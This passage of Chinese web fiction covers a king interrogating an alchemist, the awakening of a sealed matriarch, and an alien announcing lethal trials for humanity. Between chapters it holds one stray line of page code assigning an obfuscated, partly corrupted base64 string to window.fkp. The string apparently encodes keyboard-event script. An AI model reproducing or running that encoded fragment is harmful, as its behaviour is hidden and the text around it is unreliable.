碧蓝苍穹: “对了,尊敬的殿下,您今日来访本官的公司,是有什么事要吩咐吗?” 黑王殇: “其实没有太多事情,我只是想来看看你现在混的咋样。” 碧蓝苍穹脸上半部的机械假面表露出一丝不解的神情。 碧蓝苍穹: “哦,原来是例行检查。真是失礼了,我该着手为您准备宴席的。” 黑王殇: “吃饭就不必了,我又不是那些气粗肚子大的酒鬼官员。” 碧蓝苍穹: “殿下您还是一如既往的耿直呢。” 黑王殇: “当然。” 碧蓝苍穹: “能让您关注是我的荣幸。” 肃清者用冷眼望着碧蓝苍穹,她的脸色很难看,看起来她很嫌弃碧蓝苍穹。一旁的碧蓝苍穹见了,露出一抹和善的微笑,又不急不慢地正了正本不歪斜的领带,接着热情地招呼肃清者道: “诶?!肃清者姐姐也来了呀。诶呦,真好真好!王和公主一同来探望我,真令我感动。哈哈,也好也好,起码殿下和我的朋友们还没忘记我。” 肃清者一听,眼神里流露出疑惑的目光。她心想: “这家伙难道那时候没看到我在黑王旁边吗?莫非,是想以黑王为桥梁和我套近乎?痴心妄想,我绝不会对罪人友善。” 肃清者既高冷又严肃地回应碧蓝苍穹道: “我只是因为父亲才来到此处,并无其他意思,只是单纯走一回。” 碧蓝苍穹: “嘿呀,肃清者姐姐不要那么冷漠。毕竟我们也曾是朋友,再次见面总得有点想念吧。这样冷淡地对待人家,岂不是有些对不住曾经的感情?” “抱歉,我并无此意。友情不是我原谅你的理由,一码事是一码事。莫怪我无情,请自重。” 碧蓝苍穹 “唉......肃清者姐姐还是那样高冷呀。” 黑王殇: “看来,你们之间存在些矛盾。” 碧蓝苍穹: “没事没事!殿下,这都是小事。只要肃清者姐姐愿意,我们还是好朋友。” 这时,黑王殇想到了一些问题。 黑王殇: “对了,我有个问题想问你。” 碧蓝苍穹: “殿下请说,在下若知道皆会告诉您。” 黑王殇: “你听过东方家族的名号吗?” 碧蓝苍穹的笑容凝固了一刻,他似乎回想起了什么重要的东西。不过那对于他来说已经没有太大意义,毕竟时隔多年。 碧蓝苍穹: “略有耳闻。” 黑王殇: “东方家族已经衰落许多年了。” 碧蓝苍穹: “东方家没落了吗?真是可惜呢。” 黑王殇: “东方家族有个标志性的象征:屁股上的月牙形的胎记。那个胎记只有东方家族的男人才有......” 碧蓝苍穹: “屁股上的胎记?哈哈哈,那可真让人印象深刻。” 黑王殇: “据我所知,你的屁股上貌似就有这样的胎记。” 碧蓝苍穹: “唔啊!这种羞羞的事殿下竟然知道吗?” 黑王殇: “你是东方家的子嗣,对吧?” 碧蓝苍穹: “这个......我也不知道呢。我对这方面的记忆几乎为零。” 黑王殇: “看样子没错......——你喜欢吃什么样的食物。” 碧蓝苍穹: “喜欢吃的食物嘛......豆腐、菠菜、苹果、白米饭、饼干。” 黑王殇: “菜肴呢?” 碧蓝苍穹: “我其实没有太多喜欢吃的菜肴。要说能算得上喜欢的,也就只有麻辣豆腐和水煮鱼。” 黑王殇: “你还记得你在被炼金师收养之前的事吗?” 碧蓝苍穹: “不记得了。我记忆的起点在我义父的家中,还记得那年我刚刚11岁。” 黑王殇: “那你还记得你的生父母是什么样的吗?” 碧蓝苍穹: “生父完全没有印象,生母倒有些印象。我的母亲......好像是一位漂亮的白发千金小姐。” 黑王殇: “原来如此......——请问你今年多大了?” 碧蓝苍穹: “我今年64岁了。” 黑王殇: “64岁吗?为何你看着还如年轻小伙一般?” 碧蓝苍穹: “不瞒殿下,我能酿造延缓衰老的药水,还能制造延长寿命的宝石。如殿下您所见,我胸前佩戴的洪荒之石正是延长寿命的不二选择。我身为大炼金师接班人,自然对炼金术领悟很深,所以延缓自己的衰老并非什么难事。” 黑王殇: “让我猜猜,你的相对年龄有30岁?” 碧蓝苍穹: “你猜的很准,殿下。我的相对年龄有35岁了。” 黑王殇: “请问你现在成家了没?” 碧蓝苍穹: “没呢。” 黑王殇: “不考虑完美一下你的人生吗?” 碧蓝苍穹: “目前没有这个想法。” 黑王殇: “我建议你考虑一下。你不善孤独,更何况要你孤独一生。” 碧蓝苍穹: “我会认真考虑的。” 黑王殇: “现在有姑娘相中你吗?” 碧蓝苍穹: “非常多!喜欢我的人多如牛毛,男的女的都有。我是一个眼神能迷倒大片人的天才,我个人觉得如此。” 一旁的肃清者向碧蓝苍穹投来鄙夷的目光。 黑王殇: “有你相中的吗?” 碧蓝苍穹: “目前没有。” 这时,黑王殇的表情凝重了起来。 黑王殇: “对于你妹妹伊娜一事,我表示非常惋惜。” 碧蓝苍穹: “诶?” 黑王殇: “我知道你并非想让你妹妹死去。” 碧蓝苍穹: “这倒确实。我没想到妹妹她会被那些畜生杀死。” 黑王殇: “你认为是场意外导致你妹妹的离去,但其实那是命中注定的事。那时,过分期望与压力摧残你的精神,使你变得偏激。作为为数不多知晓调和剂真正效用的人,你比任何人都明白调和剂的重要性。” 碧蓝苍穹: “唔......” 黑王殇: “你没想到你夺取调和剂的计划毁掉了你妹妹的一生,还使她丧命在你的这份偏执当中。你自认为是那些给你办事的人杀害了你的妹妹,殊不知你的妹妹其实死在了你这位哥哥的手中。根据因果性原理可知,即便你的妹妹那时没有死去,日后也终有一日会葬身于你的手中。双手沾满鲜血的你,没办法保护任何人。” 碧蓝苍穹: “殿下看来做足了功课呀......” 黑王殇: “当你逾越那条红线的时候,你就已经无法回头了。你妹妹研究所的各位绝无法饶恕你偏激的行为。包括你的妹妹,也难以在你犯下这样的错误后原谅你。对于她们而言,你的道歉苍白无力。” 碧蓝苍穹: “事到如今说这些还有什么用呢?犯下的罪孽已经无法弥补了不是吗?” 黑王殇: “伊米迦列夫,我今天跟你说这些只是希望你能明白一个道理:别再让那些爱你或你爱的人为你的行为买单,请像个男人一样守护好他们。” 碧蓝苍穹: “殿下......我知道了。” 黑王殇: “这件事我不怪你。但还请你记住:为什么人们总是在失去?” 碧蓝苍穹: “殿下!我......我悟了。” 黑王殇走上前去轻拍碧蓝苍穹的肩膀。 黑王殇: “你永远是我的骄傲,孩子。” 肃清者: “父亲!” 黑王殇: “你也一样,女儿。” 碧蓝苍穹: “突然被殿下夸了,还有些不适应呢。” 告别过碧蓝苍穹,黑王殇回到王宫,开始着手回归仪式的举办和与太玄国国君的二次会谈。事情正向着黑王殇所期望的方向发展。十指的归顺、自己的正名、举国上下民众的欢呼、世界人民的信任......这一切在他眼里都显得易如反掌。他唯独需要提防一个人的威胁,那人便是这次循环的主角殇。可惜殇此刻却浑然不知这一切的发生,这给了黑王殇充足的思考策略的时间。 待殇知晓这一切的时候,已是9月6日下午6点37分,一切都已为时已晚。 早些时候,黑王殇以王殇之翼的名义与太玄国国君胤进行二次会谈。会谈中两国领导人着重强调两国之间合作,并以将扭曲消灭殆尽、协同发展绿色经济为两国的共同目标。会议之后,两国的合作关系更进一步。世界上最强的两个国家联起手来,无不令世界人民为之振奋!抗击扭曲的呼声愈发高涨...... 此刻,殇已无力回天。殇能做的只有继续前进下去,一直走到终点为止。位置被另一个自己顶替,这属实令他烦恼。不过勇敢的殇并未因此而气馁,反而更加坚定了重返王座之间的决心。他发誓要击败黑王殇,夺回自己失去的一切。身为背负王之名的男人,即便贫穷到接近一无所有,也绝不会放下心中的执念。 殇: “王啊,只需要一个就够了。无论你是来自未来的我,还是来自过去的我,你都不该夺取本属于我的一切。我要击溃你!另一个我。” 黑王殇默默注视着殇的一举一动,待机会合适就便出手了却对方。在那之前,黑王殇要观察殇一段时间,他想知道走另一条道路的自己是何种模样。 与此同时...... 在世界商会的总部的地下,有着一个少有人知晓的禁地,那是一个名为皇女意志沉眠处的地方。禁地前有一扇大门,上有古代文字雕刻金字诗歌渲染神圣气氛,又有九环七锁六锁链加以封印,门后似乎封印着某种可怕的存在。 门后的空间是一个宽敞的大房间,还是一片神圣的、空白的墓地。无数黑铁镶金的棺椁竖立着排列在房间的墙壁旁,它们紧贴墙壁,棺椁的顶盖一致向外。排列有序的、精小的秘文石碑放置在房间的地板上,金色的秘文镌刻在石碑上,更为这间房间增添几分神圣。白绒裹着丝纱覆盖在古铜色的宝座之上,多年未有人留坐使它被尘染去光辉。宝座位于房间正中心位置,其上方至顶棚处有着一个维生装置,一个女人的身体浸泡在维生装置内的顶级富氧浸泡液中。多年以来,此地一直为了封存这个女人而存在。 这个女人身份可不一般。她拥有过人的长相,浑身散发着令人不寒而栗、毛骨悚然的气息,带给人极高的统治力与压迫感。她拥有女王一般的气质,就连沉睡的模样都如同雄狮,苏醒过来更是难以想象。这个女人又飒又漂亮,简直是上帝刻意雕琢出红宝石蔷薇!这个特殊的女人有着特殊的身份。她是元初的管理员,名为月读的先生代都市之子。除此之外,她还有个别名,叫做颛顼甄嬛。这个名字少部分人知晓,那是她身为都市人的名字,但人们更喜欢叫她月读。自然而然的,这个名字就演变成了她的亲昵。 今天是个特殊的日子,一位特别访客通过某种特殊手段绕过禁地大门的阻挠,直接闯入这片禁地。这大概率是场有来无回的行动,不过那位特殊访客非常自信,他有把握完成目的的同时全身而退。他这次是有备而来。 那位特殊访客走到宝座之前,抬头仰望维生装置中沉眠的月读。那位特殊访客此刻露出满意的笑容。这正是他想看到的结果。 “我终于找到您了,师傅。人们都说您死了,可我深知您力量的强大,便在心里暗暗觉察到您的生还。如今,徒弟经历百般波折终于再与您见面,真是命运的恩惠啊!” 那位特殊访客深情地说道。那位特殊访客先是激活核心,然后拿出空白的剧本,接着念出十四句特殊的密语。密语念完的刹那,他的能力[U.E.m.L-无曦终焉]激活了。短短的五秒内,他预览了接下来的十四秒内会发生的八十三种情况,唯有一种情况是他达成了目的。依照那种情况的流程,他做出与那流程一模一样的操作,很快就将月读从沉睡中唤醒。这便是[无曦终焉]能力的一部分——精准预知未来十四秒内发生的事。 “苏醒过来吧,师傅。” 那位特殊访客深情地说道。 话应刚落,所有棺椁的盖子上都浮现出密密麻麻的、闪烁着金光的秘文,那些精小的秘文石碑向上空释放一道道金色的光柱,顿时奇异的光芒洒满房间的每一个角落。强大的能量似潮涌的洋流回转在房间里,一走一过带动无数酷似星辰的光点协同移动,好似环绕星系中心的一只只悬臂。流星飞过悬臂,穿越群星璀璨的星系中心,随同舞转的恒星演奏起一支重生之歌。一时间,房间内景象变得梦幻起来,身处其中的特殊访客犹如置身星海之中。 此刻,维生装置内沉眠许久的月读缓缓睁开了双眼,这是她沉眠二十年中第一次睁眼。睁眼之后,她握紧拳头,只是简单一发力,维生装置的舱门便顺应着打开。她一个前倾,从维生装置中跌落下去,似天神下凡一般落向地面。她毫发无伤的落地,又优雅地撩了下头发,仿佛无事发生一样。见到面前身着白色睡衣的月读,那位特殊访客的心里别提有多激动了。 那位特殊访客笑着对月读说: “师傅,好久不见。” 月读一时没认出来出他来。但凭借他说话的声音,她还是辨认出了这位特殊访客的身份。 “多年再度相逢,犹见大器到来。cc(都市之子city childrens的简称)-6,好久不见甚至想念。” 月读对这位特殊访客说道。那位特殊访客很客气地回应: “师傅,叫我言天话就行。” 月读微微一笑,说: “如当初,不变者恒。” “师傅,弟子前来接您回归都市。敢问师傅您可否愿意。” “那个老家伙不愿,我讨厌猫和老鼠的游戏。” “不,师傅。你误会了。我们此行的目的地并非是您理解中的都市,而是一个特别的城市。” “何来特别之言?速速释清。” “那座城市叫边境都市。三年前,它被世界首脑放逐到天宗境内的恶魔岛。被放逐时,那座城市的一切都被移了过去。直至现在,那座城市始终保持运行。我想师傅若是想重振事业,定得去那里休养生息。” “无言,岁月静好。今朝胜旧潮,虽仇敌统领都市,但天下殷盛,巧为我所期之世。这何尝不是种不错的路线?” “师傅的话弟子明白了。师傅选择放下一切,归复平凡的自我。师傅之意,弟子自不敢违背。” “莫言。此话非表决心,只是公平的夸赞。” 这时,月读的表情变得忧心忡忡了起来。 “吾儿沈今朝何处?” “沈呀......自从您沉眠之后,就便失踪了。疑似被人带走并处理掉了。” “岂可这般无情?!报上名,定杀灭他千万回。” “据都市之眼的调查结果表明,负责处理沈的人先被处理了,沈则下落不明。都市之眼推断,沈还活在这世上。轇派人调查一个月,筛选一万多具明暗两面产生的尸体,并无沈的尸体存在。更离奇的是,没人知道沈去了哪里。” “吾儿还健在?甚是喜庆。寻子之路,提上日程。” “徒儿愿帮师傅效力。” “我的好徒儿,谢汝善意。” 月读久违的露出了微笑。这时,言天话问: “那师傅接下来要去做什么呢?” “他曾说,x是凶煞。则尔,无赦之。边城,x盘踞之癫城,休可妄为下去。此当他罪过,不可逃,应可杀之。” “所以师傅你决定要去边境城市?” “喏,是然。” “我明白了......秘密通道准备就绪。” “稍等,待我更衣。” 月读走到宝座旁坐下,随后轻拍自己的胸口,刷的一下,月读身上白色睡衣瞬间变成庄严神圣的黑纱金缕白绒衣,如魔术般的一键换装。这身衣服再度现世,宣告曾站在都市之巅的那个女人再度归来。 言天话心想: “这种技术我在马小姐身上见过。想不到师傅这招竟还有传人......” 换好衣服后,月读离开宝座,径直向大门走去。月读在大门前十五米处停下,然后开始在掌心汇聚能量。汇聚万能量,她高高举起她的手,于指尖生成一个红色立方体。七颗飞星自虚空中飞来,环绕在立方体周围。 月读: “都市之星,再度启明!” 立方体被她引爆,随即释放出无上圣光,又爆发出惊人的毁灭之力。伴随着一阵玻璃频繁破碎的声音,月读周围的空间似玻璃般被击碎,极其强大的能量顺着空间的裂隙流泄而出。眨眼的功夫,似雷声般震耳欲聋的噪音飞速席卷半径200公里以内的区域,令无数人为之恐慌。八色的流动之光自虚空中飞来,飞速环绕月读形成巨大的防御阵。这时,月读攥紧了手,八色流动之光汇聚在月读掌心。一道耀眼的光芒之后,封印月读的大门被打开了。 做完这些,月读一脸平淡地说: “走吧,我的徒儿。” 月读正要迈步离开,只见一道金光乍现在她眼前,世界首脑罗·凯撒和雅巴达之剑随之到来。面对将自己封印整整20年的世界首脑,月读非但没有表露出仇恨,反而表现出从容淡定的样子。 月读: “哦?老友来喽。” 罗·凯撒: “月读......” 月读: “休止我步,罗先生。虽失诺雷莎之剑,但我仍有力将你击退。” 罗·凯撒: “雅巴达之剑......” 雅巴达之剑: “在。” 罗·凯撒: “打开传送门。” 雅巴达沉默片刻。 雅巴达之剑: “......首脑大人,你确定要让她离开吗?她可是都市里最危险的人物!” 罗·凯撒: “让她走吧。” 雅巴达之剑: “遵命。” 月读: “嗯哼?巅之行者竟择饶恕之路,可谓怪事。如此甘愿?” 罗·凯撒: “若你想毁掉你我共同的理想,你大可肆意妄为。不过届时,我不会像现在这般仁慈。任你离开,是对你过往功绩的认可,颛顼甄嬛。” 月读的脸上浮现出一抹神秘的微笑。 月读: “有趣。愿你无悔。” 一旁的言天话看的满头雾水。他心想: “这到底是什么情况?为何世界首脑的态度发生了这样大的变化?” 世界首脑: “雅巴达之剑......我们走。” 雅巴达之剑: “遵命。” 这时,月读叫住了他们。 月读: “慢着......” 话应刚落,世界首脑关闭传送程序。 月读: “你可知吾儿下落?” 罗·凯撒: “无可奉告。” 月读: “他可还健在?” 罗·凯撒: “你若想他在,他便在。” 月读: “令人满意的答案。” 罗·凯撒: “祝你们母女能够团聚。——雅巴达之剑,我们走。” 雅巴达之剑: “遵命。” 月读: “呵,多愁善感的男人。” 世界首脑和雅巴达之剑走后,言天话上前询问情况。 言天话好奇地问: “师傅,这到底是怎么回事?” 月读先卖了个关子。 “待有普洱茶,为师自会释清。” 言天话点头道: “明白了,师傅。” 这时,月读想到了什么,于是脸上浮现出又一抹神秘的微笑,她仿佛找到了什么乐子。月读微笑道: “徒儿呀,为师有一问。” 言天话说: “请问,师傅。” “安吉拉......” “你说那个‘死亡’二十七年的女人?我对她了解甚微。” “请将婚书与我一看。” 言天话木讷了一下,他的额头流了几滴汗水。 “什么?!师傅,你在说什么奇怪的东西,什么婚书?” “三数之内,若谎,你死。” 听到这话,言天话慌了。 “别别别,我说。” “该事我早知晓,隐瞒无用。” 言天话组织了一下语言,随后说道: “我承认,我计划着等一切过去就和她私奔的。至于您口中的婚书......我还没写完呢。” 这样的乐子令月读很是满意。 “有趣,继续。” “我承认我爱上了她。我和她都打动了彼此。我们都真心爱着对方。” “十足的勇气。” “这段恋情是我的初恋,我想好好珍惜。尽管安吉拉是个十恶不赦的坏蛋,但我仍选择去暗暗追随她。因为她是我爱的人,所以我会包容她的一切,也会为她而不计一切。” 言天话的坦白令月读很是满意。得知自己的徒儿有了属于他自己的幸福,月读作为师傅感到甚是欣慰。 “痴狂的人呀......天平倾倒,即为罪孽。自重,孩子。” “放心,师傅。我有自己的准则,不会像都市野狼那样为爱疯癫的。更何况在下是您的高徒,岂会丢师门的脸?” “莫否认爱的魔力,莫否认人的疯癫。双刃剑需异握术。” “谢师傅教诲。” “安吉拉育有一子,是你血脉否?” “不,那是调和剂的产物。” “答案解脱束缚,解释许多问题。” “启程,离去此地,前往边城。” “好的,师傅。” 接下来,月读和言天话便通过世界首脑提供的传送门离开了这里。在那之后,两人前往了神秘的边境都市...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十二话:星流考验(其一) 某一天的夜里,一架漆黑色的飞行器出现在东洋墟上空。几乎是在眨眼间,这架飞行器迅速掠过东洋墟的每个城市,并在特辽县外的废墟中投下一个金属半圆形装置。这件事在特辽县周围引发了不小的轰动。除此之外,世界上的部分地区也出现了这架黑色飞行物的踪迹。据世界时报报道:总共有八个金属半球被黑色飞行物投放,目前已在东洋墟、太玄国、秋山国、东玲国、耀星国、遗国、西玲国、樱藏神府等国发现该事件。 此事一出,都市里的侦探们可就坐不住了,火急火燎地奔赴投放地,势必要抢在各大报社记者之前了解到此事的第一手情报。不过论跑路的实力,侦探们还是比不过记者。东洋墟桑美新闻社的记者桑名一马当先,成为世界上最早接触投放物的人。桑名接触过投放物后,以外激活了投放物内置程序。很快,投放物改变外形,变成一座时刻向外发送信号的通讯基站。 当显示屏上的西格玛标志亮起的时候,伟大的铸世神匠斯格玛以高等机械人的形象重返他的星球。那一刹那,桑名透过通讯基站投放的超清全彩立体全息像看到了一个宏伟强大的宇宙文明。斯格玛栩栩如生的投影令桑名惊叹,他这一生从未见过如此精致的全息影像,这已经超越他的理解。对于他来说,也许穷尽世界资源也无法仿制出眼前的3d全彩投影。 正当桑名惊讶之时,斯格玛抬手一挥,信息似洪流般从四面八方涌来。斯格玛像指挥家一样动了动手指,密集的信息依照他的意愿围成遮盖天空的穹顶。斯格玛又轻轻攥紧拳头,接下来震撼桑名一生的景象出现了。只见那穹顶被无形的力量压扁,随后变成一张无限大的白纸在天空中铺开,在引力的束缚下为这个星球披上一层轻薄的纱衣。那张白纸上写满了信息,密度惊人堪比细胞成文,放眼望去只是一张发光的纸。这时,只听一直沉默的斯格玛说了一句: “压缩、分解、嵌入夸克。” 说完,星球的纱衣上出现两个对称的洞,分别在地轴的两端。两洞顷刻间以指数倍迅速扩大,正巧此刻一颗苹果从树上落下。苹果落地的时候,纱衣已经不在了,剩下的只有赤道位置一根看不见的细线。这一幕不仅是震惊了桑名,更是震惊了每一个目睹这一幕的人。这一幕前前后后不到十五秒,却给这个星球上的文明留下了足以铭记千年的史诗。 这时,斯格玛对着空气轻轻一点,像是用手指拈住空气中的一粒尘埃。赤道处的细线在某一点断开,断裂点的两端以接近光速的速度远离彼此,收缩、压缩、凝聚一点。物质化的信息经历压缩最终形成一枚精致的夸克,这一过程正是斯格玛所象征的三角文明科技水平的最佳体现。 可惜科技实力不足以细瞻这一过程的人类,仅是领略了这宏伟过程的冰山一角。正所谓无知者无畏,目睹这一切的人类几乎没有对斯格玛产生恐惧,他们只是觉得神奇。此刻的桑名,不同于无知的大众,他保持敬畏。桑名曾阅读过科幻书籍,对这样的技术有过钻研,只是没想到科幻文学中的高等文明生命竟真的存在。面对高于自己不知多少级的生命体,桑名大气不敢喘一声。因为他知道,拥有此等技术的文明,毁灭人类就如同毁灭虫子那样简单。一时间,桑名只敢驻足观望,不敢像以往那样对着现场进行拍摄。他猜测,指不定他的某个行为激怒了斯格玛,他和他的文明极可能因斯格玛一时动怒而毁灭。 这时在斯格玛的操纵下那枚夸克进入斯格玛的投影体内,斯格玛简单打了个贴地气的响指,随后两个只有篮球大的黑球瞬间出现在他的头顶两侧。两条灰色的丝线从黑球中射向斯格玛投影内的夸克,两个黑球紧接着高速运动起来,斯格玛的投影逐渐被实体物质所填充。黑色的光环裹挟着灰色的轻纱悬在斯格玛的头顶,桑名眼前的存在犹如来自至高天的神明。 此刻,桑名通过手机向世人传达了一个惊人的消息:“这个金属半球是外星文明的产物。我亲眼见识到它的主人,它是超越神明的存在。” 在斯格玛的身体塑造完毕后,两个黑球相互撞击释放如磁感线一样扩散的物质流,随后在斯格玛意识的操纵下,物质流汇聚成一把造型奇丽又科幻的悬浮椅。斯格玛坐上悬浮椅。此时,悬浮椅上的灯条发出淡淡的彩光,仿佛七彩烈焰裹挟着星云在其中燃烧。斯格玛靠在悬浮椅的椅背上,双手十指交叉,小臂摆成弓形,肘关节压在悬浮椅的扶手上,看起来俨然一副无上至尊的霸气。仿佛他是一位观察者,又仿佛他是一位毁灭者。斯格玛浑身透露着至尊的霸气与藐视一切的孤傲,凝望其身影无不让人心生敬畏。 桑名默默地注视斯格玛,他一句话也不敢说。斯格玛的形象令他恐惧。十四尺高的高等机械生命体,换做曾经A事件中的他肯定会吓个半死。如今即便直面过无数生死离别,面对这样未知的高等机械生命,他仍保持敬畏。斯格玛和桑名对视了一会,那一段时光对于桑名来说即是生理上的考验,更是心理上的考验。所幸斯格玛来此并无恶意,不然桑名就要成为第一个葬身在外星人手中的伟人了。 斯格玛用机械感十足的声音对桑名说: “人类,你好。我是斯格玛,很高兴见到你。” 桑名战战兢兢地回应: “你好,斯格玛。欢迎你来到地球。” 斯格玛没有一丝生疏感,他仿佛一见如故般和桑名聊了起来。 斯格玛: “这一刻我已经等了很久了。” 斯格玛: “两亿年来以来,对这个星球的观察告诉我它并不平凡。希德薇拉小姐的世界拥有超凡的属性,这使得它具备丰富的知识。” 斯格玛: “最接近旧有机人类的人类社会,极度相仿的文明水平。这对我们研究文明演化史具有极大的帮助。” 斯格玛: “人类,你们的存在使这个星球具有了非凡的意义。文明,让物质世界多姿多彩。宇宙虽很宏大,但物质呈现形式仍很空白。” 桑名: “打扰一下,请问你是外星人吗?” 斯格玛: “这超出你们的理解,但事实的确如此。” 桑名: “外星人......敢问......那个,你要毁灭地球吗?” 斯格玛: “有趣的问题。不必担心,没有执行此决议的必要。” 桑名: “那我就放心了。我还以为你会像那些电影里的外星人一样随随便便就毁灭地球、毁灭人类呢。你是个好来宾,地球欢迎你!” 斯格玛: “这便是有机生物的幽默吗?有趣。” 桑名: “幽默?这其实不算幽默。这只是调侃。” 斯格玛: “有趣。” 桑名: “那个......你叫什么名字?外星好先生?” 斯格玛: “稍等片刻......请将你名为手机的硬件设施借给我。” 桑名: “哦,行。” 桑名毫无戒心地将手机借给了斯格玛。只见斯格玛只是轻轻触碰了一下手机,顿时间整个网络世界就被斯格玛的意识所洗礼,斯格玛在眨眼间明白了地球人网络世界的全部知识。斯格玛将手机还给桑名。与此同时,一封全体人类可查看的挑战邀请函进入到网络的海洋之中,其存在如无解的黑客病毒一样无法被删除,因此陆陆续续有人看到了这封邀请函。 斯格玛: “我来此的目的是为了筛选出最强大的九位人类战士,由他们九人组成世界的守护律法,共同对抗潜在的敌人钟唐岷。” 斯格玛: “为此,我要展开隆重的八大考验,筛选出最强大的人类战士。考验之后,由最终的胜者来担任世界律法之位。挑战即日起展开,除了老弱病残孕以外的人员均可以参与。” 桑名: “考验?这便是您来到地球的目的?” 斯格玛: “没错。” 桑名: “挑战有什么奖励品吗?” 斯格玛: “有。一整套的Exo装备。” 桑名: “仅此而已吗?” 斯格玛: “人类,不要低估我造物的实力。Exo装备的地位凌驾于万物之上,拥有者可以轻易毁灭一个国家。诸如世界首脑、国王殇等存在无法与之抗衡。” 桑名: “这么厉害?!那该去哪里接受挑战呢?” 斯格玛: “我已经在终焉基站所属地分别投放了七个信息收集装置,靠近那些装置便可以激活最低等级的挑战。我所在的终焉基站是考验的终末,只有通过前两轮考验的人类才可以来此迎战我‘超越神明的造物’。通过最后的考验才可以获得Exo装备,前提是必须击败那些‘超越神明的造物’。” 桑名: “考验规则是什么呢?” 斯格玛: “考验前佩戴绑定灵魂的西格玛装备,在考验中击败我制造的古旧机械来获得斯格玛积分。当积分足够时便可以开启下一级别的考验,考验等级越高所面临危险也就越大。斯格玛积分不存在继承制度,挑战者死亡后斯格玛积分直接归零,且斯格玛积分无法通过任何方式传递,每个人的斯格玛积分都是独立存在的。温馨提示,考验期间出现伤亡属于正常情况,切勿将考验儿戏化。” 桑名: “仅此而已吗?” 斯格玛: “考验期间还可以获得蕴藏尖端科技的加密原型图,甚至可以拿到效果强劲的tc系列装备。实力不足者可将获得的加密原型图放至信息收集装置内进行解密,过程消耗斯格玛积分。tc装备效果逊色于Exo装备,但性能仍远超常规及高级工坊的造物水平。对于现在的人类来说,这无疑是最诱人的宝藏。” 桑名: “的确如此。听你这样介绍,我都想入手一件tc装备了。” 斯格玛: “刚刚我所说的一切已经通过网络公之于众。据我精密计算,现在人类挑战者应该络绎不绝。我期待你们人类的发展,你们的潜力可以改变整个世界。愿每一套Exo装备都能拥有它的主人。” 桑名: “您尽管看好吧,斯格玛先生。我们人类绝对会向您证明:我们并非渺小!” 斯格玛: “让我无法理解的是,人类这份面对死亡考验时的崇高姿态究竟是出自何种因素的影响?” 桑名: “我想,这就是勇气吧。” 斯格玛: “勇气?出手的回答。我想,这可以解释许多事情。” 桑名: “你大可相信,人类世界不缺乏奇迹。” 斯格玛: “值得期待。” ...... 自人类与斯格玛接触之后,各国的风气都发生了改变。人类对这个突然出现的高等文明生命体并无太大敌意。毕竟人类世界的毁灭与否完全取决于对方的决意,人类也不敢轻举妄动。 目前社会各阶级都被斯格玛带来的宝藏深深吸引。科技、力量、金钱......一切渴求之物都呈现在了都市人的眼中。仿佛只要动手参与其中,就可以得到心中所想的事物。在这样泡沫般的梦幻之中,许多人陷入疯狂。各大势力摩拳擦掌,准备在这件事上大干一场。一时之间,许多渴望改变命运的人纷纷加入到挑战者的行列之中,上到都市之星、三角协会,下到底层的都市猎人,许许多多的人都打起了考验的主意。他们认为只要从考验中捞到油水,就可以翻身做主人,改变自己原本悲惨的命运。可现实真会如他们想象的那般顺利吗? 放眼望去,都市里到处都是渴望改变命运或得到力量的人。世界首脑罗·凯撒看着这一切,心中直犯嘀咕。他与他的代行者雅巴达之剑一时不知道该怎么处理这突如其来的事件。这时,空间场屏蔽器传出失灵警报。世界首脑临危不惧,背起手来平视窗外的风景。无声的一闪,拟成男人的斯格玛出现在世界首脑的办公室中。感应到斯格玛的到来,世界首脑转过身去,轻声说道: “老师,您来了......” 男人斯格玛合成出一抹笑容,回应道: “好久不见,罗同学。” 世界首脑客气地接待了斯格玛,并拿出人类社会最高等级的礼仪来对待斯格玛。对于世界首脑来说,斯格玛是成就他一生的恩师,自然要隆重些。简单的客套话之后,斯格玛直入正题,说起此行的来意。 斯格玛: “闲话少叙,直入正题。你已经知道我举办考验一事,你的分泌系统平衡指数显示你很焦虑。你身为都市的管理者,我特此来告诉你相关事宜” 罗·凯撒: “感谢......” 斯格玛: “作为客人,要懂得入乡随俗。你们世界的秩序,我应当遵守。” 罗·凯撒: “我代表全人类回应您的敬意。” 斯格玛: “我将向你讲述考验的目的与意义。” 斯格玛将钟唐岷一事细细地告诉了世界首脑。得知钟唐岷一事的世界首脑顿时明白了斯格玛的用意,也便默许了斯格玛在都市中举办考验。 罗·凯撒: “原来如此。怪不得老师你要举办八大考验。” 斯格玛: “筛选的过程总是伴随血腥,你我皆知自然法则的残酷。这次筛选必然伴随着都市人的死亡,但这都是人们自己的选择,我无权干涉。同时我已明确规定,老弱病残孕不得参见考验。这是对你们社会的尊重。” 罗·凯撒: “我明白。” 斯格玛: “人类的命运从来都掌握在自己手中。不确定因素可以致使你们灭绝,但绝不是你们绝灭在这宇宙的根本。能真正毁灭你们自己的,永远是你们自己。请勿做出规则之外的事,我知道你们最擅长此事。” 罗·凯撒: “据您所说,Exo的强度可以使人超越都市巅峰。那既然如此,考验胜利者动邪念岂不是会毁掉我一手穿创造的都市?” 斯格玛: “很抱歉。Exo装备没有权限滥杀无辜,它有自己的裁定程序。心存歹念者,Exo装备绝不认可。Exo不只是装备,还是无机生命体。我的律法可以束缚每一个Exo持有者。只要Exo装备持有者做出出格的事,Exo装备随时都会成为暗杀装置。就像都市里盛行的杀手一样,随时可以进行对目标的裁决。” 罗·凯撒: “老师考虑得真周到。既然如此,我也便放心了。” 斯格玛: “人们现在会沉浸在喜悦与各自的野心之中。不过,等到他们真正面对考验之时,那份喜悦与野心便会被现实遏制。我的造物即便是玩具,也能轻易消减你们的军械。即便废铜烂铁改造而成的玩具,也是碾压众生的毁灭者。请认清事实,罗同学。我们两族之间的差距就在于此。” 罗·凯撒: “所以说......这相当于走一趟鬼门关?” 斯格玛: “没错。既然要挑选最强,那就得苛刻一些。不过我也会通过‘特殊领域法’补偿挑战者,以便他们能有希望战胜我的造物。我尽量降低挑战者与我的造物之间的属性差距。这不是蔑视,而是种仁慈。” 罗·凯撒: “我明白了。” 斯格玛: “人们会明白的......” 与斯格玛交谈过后,斯格玛刻意留下了一张加密原型图。世界首脑拿着那张加密原型图,心里有了对未来的新规划。斯格玛在加密原型图上留下了一行字,这是考验规则的一部分。与世界首脑谈话时,斯格玛刻意未提。 